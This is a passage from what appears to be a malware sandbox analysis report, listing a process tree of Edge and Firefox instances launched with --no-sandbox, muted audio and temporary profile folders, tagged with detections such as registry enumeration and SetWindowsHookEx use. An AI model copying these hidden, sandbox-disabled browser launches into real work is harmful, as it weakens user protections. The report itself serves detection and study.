        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\h2rqlafp.hht" --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --field-trial-handle=3824,i,4979629125561475017,9843415642998772671,262144 --variations-seed-version --mojo-platform-channel-handle=4004 /prefetch:1
        7⤵
        
        PID:5972
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\h2rqlafp.hht" --extension-process --renderer-sub-type=extension --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --field-trial-handle=3864,i,4979629125561475017,9843415642998772671,262144 --variations-seed-version --mojo-platform-channel-handle=4016 /prefetch:2
        7⤵
        
        PID:3004
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\h2rqlafp.hht" --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --field-trial-handle=3876,i,4979629125561475017,9843415642998772671,262144 --variations-seed-version --mojo-platform-channel-handle=4076 /prefetch:1
        7⤵
        
        PID:5008
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\h2rqlafp.hht" --extension-process --renderer-sub-type=extension --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --field-trial-handle=3904,i,4979629125561475017,9843415642998772671,262144 --variations-seed-version --mojo-platform-channel-handle=4120 /prefetch:2
        7⤵
        
        PID:4900
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\h2rqlafp.hht" --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --field-trial-handle=3988,i,4979629125561475017,9843415642998772671,262144 --variations-seed-version --mojo-platform-channel-handle=3984 /prefetch:1
        7⤵
        
        PID:4500
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\h2rqlafp.hht" --extension-process --renderer-sub-type=extension --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --always-read-main-dll --field-trial-handle=4036,i,4979629125561475017,9843415642998772671,262144 --variations-seed-version --mojo-platform-channel-handle=4188 /prefetch:2
        7⤵
        
        PID:5792
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\h2rqlafp.hht" --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --always-read-main-dll --field-trial-handle=4072,i,4979629125561475017,9843415642998772671,262144 --variations-seed-version --mojo-platform-channel-handle=4192 /prefetch:1
        7⤵
        
        PID:4804
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\h2rqlafp.hht" --extension-process --renderer-sub-type=extension --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --always-read-main-dll --field-trial-handle=4108,i,4979629125561475017,9843415642998772671,262144 --variations-seed-version --mojo-platform-channel-handle=4220 /prefetch:2
        7⤵
        
        PID:1408
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\h2rqlafp.hht" --always-read-main-dll --field-trial-handle=5320,i,4979629125561475017,9843415642998772671,262144 --variations-seed-version --mojo-platform-channel-handle=4760 /prefetch:8
        7⤵
        
        PID:5804
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\h2rqlafp.hht" --always-read-main-dll --field-trial-handle=5344,i,4979629125561475017,9843415642998772671,262144 --variations-seed-version --mojo-platform-channel-handle=5392 /prefetch:8
        7⤵
        
        PID:4912
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\h2rqlafp.hht" --always-read-main-dll --field-trial-handle=5540,i,4979629125561475017,9843415642998772671,262144 --variations-seed-version --mojo-platform-channel-handle=5576 /prefetch:8
        7⤵
        
        PID:6896
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --no-sandbox --mute-audio --onnx-enabled-for-ee --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\h2rqlafp.hht" --always-read-main-dll --field-trial-handle=5532,i,4979629125561475017,9843415642998772671,262144 --variations-seed-version --mojo-platform-channel-handle=5580 /prefetch:8
        7⤵
        
        PID:6904
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\kgxp3xl5.iip"
        6⤵
        Checks processor information in registry
        Enumerates system info in registry
        Modifies registry class
        Suspicious use of FindShellTrayWindow
        
        PID:2652
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\kgxp3xl5.iip /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\kgxp3xl5.iip\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x238,0x23c,0x240,0x234,0x260,0x7ffe0c77f208,0x7ffe0c77f214,0x7ffe0c77f220
        7⤵
        
        PID:4320
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-sandbox --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\kgxp3xl5.iip" --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --field-trial-handle=2192,i,15066260396322235966,14152727557895686252,262144 --variations-seed-version --mojo-platform-channel-handle=2188 /prefetch:2
        7⤵
        
        PID:1328
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\kgxp3xl5.iip" --always-read-main-dll --field-trial-handle=1868,i,15066260396322235966,14152727557895686252,262144 --variations-seed-version --mojo-platform-channel-handle=2196 /prefetch:3
        7⤵
        
        PID:3212
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\kgxp3xl5.iip" --always-read-main-dll --field-trial-handle=2332,i,15066260396322235966,14152727557895686252,262144 --variations-seed-version --mojo-platform-channel-handle=2304 /prefetch:8
        7⤵
        
        PID:2932
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\kgxp3xl5.iip" --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3124,i,15066260396322235966,14152727557895686252,262144 --variations-seed-version --mojo-platform-channel-handle=3160 /prefetch:1
        7⤵
        
        PID:5024
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\kgxp3xl5.iip" --instant-process --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3116,i,15066260396322235966,14152727557895686252,262144 --variations-seed-version --mojo-platform-channel-handle=3188 /prefetch:1
        7⤵
        
        PID:4672
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\kgxp3xl5.iip" --always-read-main-dll --field-trial-handle=3540,i,15066260396322235966,14152727557895686252,262144 --variations-seed-version --mojo-platform-channel-handle=3504 /prefetch:8
        7⤵
        
        PID:3932
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\kgxp3xl5.iip" --always-read-main-dll --field-trial-handle=3544,i,15066260396322235966,14152727557895686252,262144 --variations-seed-version --mojo-platform-channel-handle=3612 /prefetch:8
        7⤵
        
        PID:2504
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\kgxp3xl5.iip" --always-read-main-dll --field-trial-handle=3552,i,15066260396322235966,14152727557895686252,262144 --variations-seed-version --mojo-platform-channel-handle=3672 /prefetch:8
        7⤵
        
        PID:4512
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\kgxp3xl5.iip" --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --field-trial-handle=3644,i,15066260396322235966,14152727557895686252,262144 --variations-seed-version --mojo-platform-channel-handle=3692 /prefetch:1
        7⤵
        
        PID:2788
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\kgxp3xl5.iip" --extension-process --renderer-sub-type=extension --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --field-trial-handle=3664,i,15066260396322235966,14152727557895686252,262144 --variations-seed-version --mojo-platform-channel-handle=3748 /prefetch:2
        7⤵
        
        PID:3048
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\kgxp3xl5.iip" --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --field-trial-handle=3716,i,15066260396322235966,14152727557895686252,262144 --variations-seed-version --mojo-platform-channel-handle=3788 /prefetch:1
        7⤵
        
        PID:4504
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\kgxp3xl5.iip" --extension-process --renderer-sub-type=extension --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --field-trial-handle=3728,i,15066260396322235966,14152727557895686252,262144 --variations-seed-version --mojo-platform-channel-handle=3820 /prefetch:2
        7⤵
        
        PID:5628
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\kgxp3xl5.iip" --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --field-trial-handle=3636,i,15066260396322235966,14152727557895686252,262144 --variations-seed-version --mojo-platform-channel-handle=3848 /prefetch:1
        7⤵
        
        PID:3176
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\kgxp3xl5.iip" --extension-process --renderer-sub-type=extension --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --field-trial-handle=3840,i,15066260396322235966,14152727557895686252,262144 --variations-seed-version --mojo-platform-channel-handle=3680 /prefetch:2
        7⤵
        
        PID:3432
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\kgxp3xl5.iip" --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --field-trial-handle=3888,i,15066260396322235966,14152727557895686252,262144 --variations-seed-version --mojo-platform-channel-handle=3868 /prefetch:1
        7⤵
        
        PID:5008
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\kgxp3xl5.iip" --extension-process --renderer-sub-type=extension --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --always-read-main-dll --field-trial-handle=3896,i,15066260396322235966,14152727557895686252,262144 --variations-seed-version --mojo-platform-channel-handle=3916 /prefetch:2
        7⤵
        
        PID:4068
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\kgxp3xl5.iip" --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --always-read-main-dll --field-trial-handle=3956,i,15066260396322235966,14152727557895686252,262144 --variations-seed-version --mojo-platform-channel-handle=3976 /prefetch:1
        7⤵
        
        PID:5268
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\kgxp3xl5.iip" --extension-process --renderer-sub-type=extension --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --always-read-main-dll --field-trial-handle=3988,i,15066260396322235966,14152727557895686252,262144 --variations-seed-version --mojo-platform-channel-handle=4016 /prefetch:2
        7⤵
        
        PID:6172
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\kgxp3xl5.iip" --always-read-main-dll --field-trial-handle=4592,i,15066260396322235966,14152727557895686252,262144 --variations-seed-version --mojo-platform-channel-handle=3096 /prefetch:8
        7⤵
        
        PID:4956
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\kgxp3xl5.iip" --always-read-main-dll --field-trial-handle=3096,i,15066260396322235966,14152727557895686252,262144 --variations-seed-version --mojo-platform-channel-handle=5028 /prefetch:8
        7⤵
        
        PID:6424
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\kgxp3xl5.iip" --always-read-main-dll --field-trial-handle=3504,i,15066260396322235966,14152727557895686252,262144 --variations-seed-version --mojo-platform-channel-handle=5312 /prefetch:8
        7⤵
        
        PID:1428
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --no-sandbox --mute-audio --onnx-enabled-for-ee --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\kgxp3xl5.iip" --always-read-main-dll --field-trial-handle=5336,i,15066260396322235966,14152727557895686252,262144 --variations-seed-version --mojo-platform-channel-handle=4480 /prefetch:8
        7⤵
        
        PID:6444
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\uvoj2rbm.yx4"
        6⤵
        
        PID:5556
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir=C:\Users\Admin\AppData\Local\Temp\uvoj2rbm.yx4
        7⤵
        Checks processor information in registry
        Modifies registry class
        Suspicious use of FindShellTrayWindow
        Suspicious use of SetWindowsHookEx
        
        PID:4948
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 1996 -prefsLen 27099 -prefMapHandle 2000 -prefMapSize 270331 -ipcHandle 2088 -initialChannelId {22c29fd2-0f78-435b-9de1-dd8fbe4a275d} -parentPid 4948 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4948" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
        8⤵
        
        PID:4596
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2372 -prefsLen 27135 -prefMapHandle 2364 -prefMapSize 270331 -ipcHandle 2452 -initialChannelId {948911ba-1d09-4176-9d32-1972461a837a} -parentPid 4948 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4948" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
        8⤵
        
        PID:5652
        
        C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\f06a72d2-7347-48f9-b5a7-f3c3936a3e8c.dmp"
        8⤵
        
        PID:3952
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2088 -prefsLen 27135 -prefMapHandle 2880 -prefMapSize 270331 -ipcHandle 2868 -initialChannelId {5de60ff2-a7a5-42e7-8524-4703d8046a14} -parentPid 4948 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4948" -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 gpu
        8⤵
        
        PID:4836
        
        C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\773434d2-ec61-44ed-a602-49660e6ac710.dmp"
        8⤵
        
        PID:4920
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3216 -prefsLen 27200 -prefMapHandle 3212 -prefMapSize 270331 -ipcHandle 2088 -initialChannelId {4c5f5ebf-2917-44bd-84ba-d446f53d3758} -parentPid 4948 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4948" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 gpu
        8⤵
        
        PID:7008
        
        C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\06ea3d93-09c1-4ffd-8dc7-f466d731c56d.dmp"
        8⤵
        
        PID:1668
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2904 -prefsLen 27200 -prefMapHandle 3448 -prefMapSize 270331 -ipcHandle 1984 -initialChannelId {a807ad75-28f4-403f-bfce-48c5c02a98d2} -parentPid 4948 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4948" -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 gpu
        8⤵
        
        PID:1144
        
        C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\37f002ae-f14f-4cb5-b0f7-1d1b3e368431.dmp"
        8⤵
        
        PID:2456
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3696 -prefsLen 27249 -prefMapHandle 3688 -prefMapSize 270331 -ipcHandle 3092 -initialChannelId {a05289da-ef36-437c-9255-867fdc022b31} -parentPid 4948 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4948" -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 gpu
        8⤵
        
        PID:5416
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3540 -prefsLen 27325 -prefMapHandle 3524 -prefMapSize 270331 -jsInitHandle 3528 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3516 -initialChannelId {a900ced9-18b7-46f5-bc67-7c6c4f01e0e7} -parentPid 4948 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4948" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab
        8⤵
        Checks processor information in registry
        
        PID:6400
        
        C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\adccf8a8-0e54-4bdb-bf37-5042fe3d8af0.dmp"
        8⤵
        
        PID:6320
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3684 -prefsLen 27325 -prefMapHandle 4020 -prefMapSize 270331 -ipcHandle 4044 -initialChannelId {9a26abfc-f4bf-44bc-9ab3-5941fb808ce2} -parentPid 4948 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4948" -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 gpu
        8⤵
        
        PID:4040
        
        C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\106f8183-10ac-4f67-a5b9-ab0f20704204.dmp"
        8⤵
        
        PID:6944
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 4244 -prefsLen 27325 -prefMapHandle 4248 -prefMapSize 270331 -ipcHandle 4264 -initialChannelId {fca05db4-6411-48b3-b32f-9f3372386d9a} -parentPid 4948 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4948" -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 rdd
        8⤵
        
        PID:4828
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4540 -prefsLen 34878 -prefMapHandle 4544 -prefMapSize 270331 -jsInitHandle 4548 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3224 -initialChannelId {85f1156e-19e1-4a8c-848e-34771b2e6a4e} -parentPid 4948 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4948" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 10 tab
        8⤵
        Checks processor information in registry
        
        PID:396
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
